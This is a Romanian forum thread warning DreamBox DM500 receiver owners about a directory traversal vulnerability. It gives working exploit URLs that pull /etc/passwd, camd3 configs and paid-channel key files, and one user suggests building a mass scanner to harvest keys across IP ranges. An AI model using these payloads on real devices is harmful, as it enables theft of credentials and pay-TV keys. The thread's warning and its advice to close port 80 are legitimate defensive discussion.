!!!!Atentie cei care aveti dm500 !!!!!

[Only registered and activated users can see links. Click Here To Register...]

DreamBox DM500(+) Arbitrary File Download Vulnerability

Vendor: Dream Multimedia GmbH
Product web page: [Only registered and activated users can see links. Click Here To Register...]
Affected version: DM500, DM500+, DM500HD and DM500S

Summary: The Dreambox is a series of Linux-powered
DVB satellite, terrestrial and cable digital television
receivers (set-top box).

Desc: Dreambox suffers from a file download vulnerability
thru directory traversal with appending the '/' character
in the HTTP GET method of the affected host address. The
attacker can get to sensitive information like paid channel
keys, usernames, passwords, config and plug-ins info, etc.

Tested on: Linux Kernel 2.6.9, The Gemini Project, Enigma

Deci nu e presupunere, e crunta realitate.

Daca aveti portul 80 deschis spre Dm500, sunteti vulnerabili.
Merg comenzi de genul:

Code:

---

http://192.168.1.102/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../etc/passwd%00
 http://192.168.1.102/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../Autoupdate.key%00
 http://192.168.1.102/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../camd3.config%00
 http://192.168.1.102/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../var/keys/camd3.keys%00

---

evident cu ip-urile voastre si nu chiar identice.

Am incercat, dar n-am reusit. Se pare ca e valabil si ptr. DM500+ si DM500 HD.

eu l-am testat si merge
[Only registered and activated users can see links. Click Here To Register...]
[Only registered and activated users can see links. Click Here To Register...]

si asa zburati din liniile din dream.
se poate face frumos un mass scanner care sa ia toate ip-urile dintr-o clasa la purecat si sa salveze tot ce gaseste.
si DM500* hd sau nu sunt zeci de mii.(foarte multe clone)

Deci ...puneti sa puneti lacat pe 80 sau mai simplu schimbati portul.(daca vrea sa va gaseasca neaparat cineva da un scann la porturi si tot il gaseste)

mie imi da

Error 403: Forbidden

ce neseriosi

am incercat si eu sa vedem ce zice si arata ceva de genul:
[Only registered and activated users can see links. Click Here To Register...]

depinde si de imagine cred
Tested on: Linux Kernel 2.6.9, The Gemini Project, Enigma

pfuuu si eu ca dobitocul care sunt pe persoana fizica folosesc Nemesis